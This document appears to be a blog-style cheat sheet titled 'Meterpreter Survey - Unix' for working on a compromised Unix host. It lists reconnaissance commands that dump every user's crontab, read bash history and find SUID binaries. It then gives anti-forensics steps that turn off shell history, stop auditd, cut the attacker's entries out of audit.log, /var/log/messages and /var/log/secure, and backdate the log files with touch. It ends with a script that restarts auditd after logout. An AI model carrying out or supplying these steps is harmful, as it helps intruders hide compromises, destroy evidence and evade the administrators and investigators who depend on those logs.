date: “2017-02-21” draft: false title: “Meterpreter Survey - Unix”

Init

0. Situational Awareness

• unset HISTFILE
• su root # if needed
• unset HISTFILE
• date
• date +%s
• find /var/log -type f -mmin -10 2> /dev/null
• ls -lart /var/log
• cat /etc/*syslog*.conf | grep -v "^#"
• service auditd status
• /sbin/chkconfig --list
• service --status-all
• ps -aef
• uname -a
• cat /etc/*release
• cat /etc/inittab
• w
• who -a
• last -a -i
• lastlog
• lastb
• uptime
• cat ~/.bash_history
• /sbin/lsmod
• vmstat
• cat /proc/cpuinfo
• hostname
• /sbin/iptables -nL --line-numbers
• cat /etc/resolv.conf
• /sbin/ifconfig -a
• netstat -antup
• ps -aef

0. Crontabs

• for user in $(cut -f1 -d: /etc/passwd); do echo $user >> /tmp/crontabs; crontab -u $user -l >> /tmp/crontabs; done
• cat /tmp/crontabs | more
• rm -f /tmp/crontabs
• ls -la /etc/cron*
• cat /etc/crontab

0. Suspicious files

• find / -type f -name ".*" # find hidden files
• find / -type d -name ".*" # find hidden directories
• find / -user root –perm -4000 –print0 | xargs -0 ls -l # find SUID root executables
• find / -perm -2000 –print0 | xargs -0 ls -l # search SGID programs

Cleaning Logs

0. Cleaning audit log

• grep -n "<IP ADDR>" /var/log/audit/audit.log
• service auditd stop
• wc -l /var/log/audit/audit.log
• head -n <X>/var/log/audit/audit.log > /tmp/aud.log # <X> = line number before your entries start
• wc -l /tmp/aud.log # should be X lines
• tail /tmp/aud.log
• date -d @epoch time of last entry
• cat /tmp/aud.log > /var/log/audit/audit.log
• chmod 0600 /var/log/audit/audit.log
• touch -t YYYYMMDDHHmm.ss /var/log/audit/audit.log
• ls -al /var/log/audit/audit.log
• rm -f /tmp/aud.log

0. Cleaning Messages log

• grep -n "<IP ADDR>" /var/log/messages
• wc -l /var/log/messages
• head -n X /var/log/messages > /tmp/msg.log # where X is the line number before your entries start
• wc -l /tmp/msg.log # should be X lines
• tail /tmp/msg.log
• cat /tmp/msg.log > /var/log/messages
• chmod 0600 /var/log/messages
• touch -t YYYYMMDDHHmm.ss /var/log/messages
• ls -al /var/log/messages
• rm -f /tmp/msg.log

0. Cleaning /var/log/secure

• grep "sshd\[<PID>\]" /var/log/secure
• grep -v "sshd\[<PID>\]" /var/log/secure > /tmp/secure.log
• tail /tmp/secure.log
• cat /tmp/secure.log > /var/log/secure
• tail -3 /var/log/secure
• touch -t YYYYMMDDHHmm.ss /var/log/secure
• rm -rf /tmp/secure.log

Cleanup

0. Delete any tmp files you created

• ls -l /tmp
• rm -f /tmp/*.log

0. Restart auditd after you logout

• echo -e '#!/bin/sh\nsleep 30\nfunction d {\nservice auditd start && rm -rf /tmp/X-unix\n}\ntrap d EXIT' > X-unix
• chmod 755 X-unix
• cat X-unix
• ./X-unix&